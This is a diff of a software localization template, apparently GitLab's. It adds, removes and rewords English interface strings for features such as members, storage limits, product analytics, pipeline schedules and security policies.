msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
